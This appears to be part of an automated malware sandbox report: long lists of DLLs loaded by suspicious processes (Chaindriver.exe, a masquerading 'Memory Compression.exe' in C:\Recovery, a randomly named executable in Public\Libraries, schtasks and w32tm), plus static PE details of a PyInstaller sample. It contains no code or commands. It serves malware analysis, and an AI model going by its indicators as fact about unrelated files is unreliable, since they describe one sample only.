Source: C:\Chaindriver.sfx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Chaindriver.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Chaindriver.exe	Section loaded: mscoree.dll
Source: C:\Chaindriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Chaindriver.exe	Section loaded: version.dll
Source: C:\Chaindriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: uxtheme.dll
Source: C:\Chaindriver.exe	Section loaded: windows.storage.dll
Source: C:\Chaindriver.exe	Section loaded: wldp.dll
Source: C:\Chaindriver.exe	Section loaded: profapi.dll
Source: C:\Chaindriver.exe	Section loaded: cryptsp.dll
Source: C:\Chaindriver.exe	Section loaded: rsaenh.dll
Source: C:\Chaindriver.exe	Section loaded: cryptbase.dll
Source: C:\Chaindriver.exe	Section loaded: sspicli.dll
Source: C:\Chaindriver.exe	Section loaded: mscoree.dll
Source: C:\Chaindriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Chaindriver.exe	Section loaded: version.dll
Source: C:\Chaindriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: uxtheme.dll
Source: C:\Chaindriver.exe	Section loaded: windows.storage.dll
Source: C:\Chaindriver.exe	Section loaded: wldp.dll
Source: C:\Chaindriver.exe	Section loaded: profapi.dll
Source: C:\Chaindriver.exe	Section loaded: cryptsp.dll
Source: C:\Chaindriver.exe	Section loaded: rsaenh.dll
Source: C:\Chaindriver.exe	Section loaded: cryptbase.dll
Source: C:\Chaindriver.exe	Section loaded: sspicli.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: mscoree.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: apphelp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: version.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: wldp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: profapi.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: sspicli.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: mscoree.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: version.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: wldp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: profapi.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: sspicli.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ktmw32.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rasapi32.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rasman.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rtutils.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: mswsock.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: winhttp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: iphlpapi.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: dhcpcsvc.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: dnsapi.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: winnsi.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: rasadhlp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: fwpuclnt.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: propsys.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: apphelp.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: dlnashext.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: wpdshext.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: edputil.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: urlmon.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: iertutil.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: srvcli.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: netutils.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: wintypes.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: appresolver.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: bcp47langs.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: slc.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: userenv.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: sppc.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Recovery\Memory Compression.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: version.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: version.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: sspicli.dll
Source: C:\Chaindriver.exe	Section loaded: mscoree.dll
Source: C:\Chaindriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Chaindriver.exe	Section loaded: version.dll
Source: C:\Chaindriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Chaindriver.exe	Section loaded: uxtheme.dll
Source: C:\Chaindriver.exe	Section loaded: windows.storage.dll
Source: C:\Chaindriver.exe	Section loaded: wldp.dll
Source: C:\Chaindriver.exe	Section loaded: profapi.dll
Source: C:\Chaindriver.exe	Section loaded: cryptsp.dll
Source: C:\Chaindriver.exe	Section loaded: rsaenh.dll
Source: C:\Chaindriver.exe	Section loaded: cryptbase.dll
Source: C:\Chaindriver.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: version.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: cryptbase.dll
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: t8F7Ic986c.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: t8F7Ic986c.exe

Static file information: File size 7204705 > 1048576

Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: t8F7Ic986c.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: t8F7Ic986c.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: t8F7Ic986c.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\python39.pdb source: t8F7Ic986c.exe, 00000001.00000002.1667701805.00007FFDFB989000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: t8F7Ic986c.exe, 00000000.00000003.1655768186.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\6\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.0.dr
Source:	Binary string: .pdbza, source: Memory Compression.exe, 00000025.00000002.1832528116.000000001B2EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.0.dr
